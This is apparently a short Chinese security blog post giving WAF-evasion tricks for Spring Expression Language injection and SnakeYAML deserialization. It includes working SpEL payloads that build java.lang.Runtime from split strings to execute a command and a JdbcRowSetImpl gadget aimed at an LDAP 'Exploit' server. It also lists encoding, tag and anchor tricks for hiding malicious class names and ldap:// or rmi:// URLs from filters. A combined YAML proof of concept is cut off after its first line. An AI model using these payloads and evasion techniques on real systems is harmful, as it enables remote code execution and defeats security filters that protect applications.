spel注入和snakeyaml反序列化waf bypass trick
22年的时候的存货,翻到了发一下
spel注入
- 网上已有的方法都把spel当成单链执行,也就是只能是一条方法调用链的形式,并且从spel的文档上看一条spel语句也只能在最外层有一次变量的赋值,但实际上将要执行的语句放在数组里就可以达到多语句的效果,比如:
1 | new Object[]{#a='java.lang.Run',#b='time',#c=T(String),#d=#c.class,#e=#d.forName(#a+#b),#f=#e.getRuntime(),#g='calc.exe',#f.exec(#g)} |
- spel在读取属性和设置属性时也会去尝试调用该属性的getter和setter,可以当成fastjson用,避免显示方法的调用
1 | new Object[]{#a=new com.sun.rowset.JdbcRowSetImpl(),#a.dataSourceName='ldap://localhost:1389/Exploit',#a.autoCommit=true} |
snakeyaml反序列化
双引号中可以使用unicode和hex编码
标签(也就是类名)的位置可以多一层url编码
通过标签的拼接避免
!!
的使用以及拆分恶意类名,这个SnakeYaml 反序列化的一个小 trick中浅蓝师傅发过了。一些waf的检测规则会指定不同字段之间顺序,可以使用yaml的alias和anchor功能(
&
和*
)来改变顺序。利用多个
java.lang.Character
构造com.sun.xml.internal.fastinfoset.util.CharArray
,再实例化java.lang.StringBuilder
和java.lang.String
,达到拆分字符串的效果。很尴尬的是这种组合而成sequence不能用在key的位置(也就是属性名),只能用在具体属性值的地方,可以用来绕过一些对ldap://
rmi://
的检测。不过因为fastjson和snakeyaml选择构造函数方法的不同,这个方法fastjson并不能用
一个结合了上面几种手法的poc:
1 | %TAG !---! tag:yaml.org,2002:com%2Esun%2Erowset%2EJdbcRo |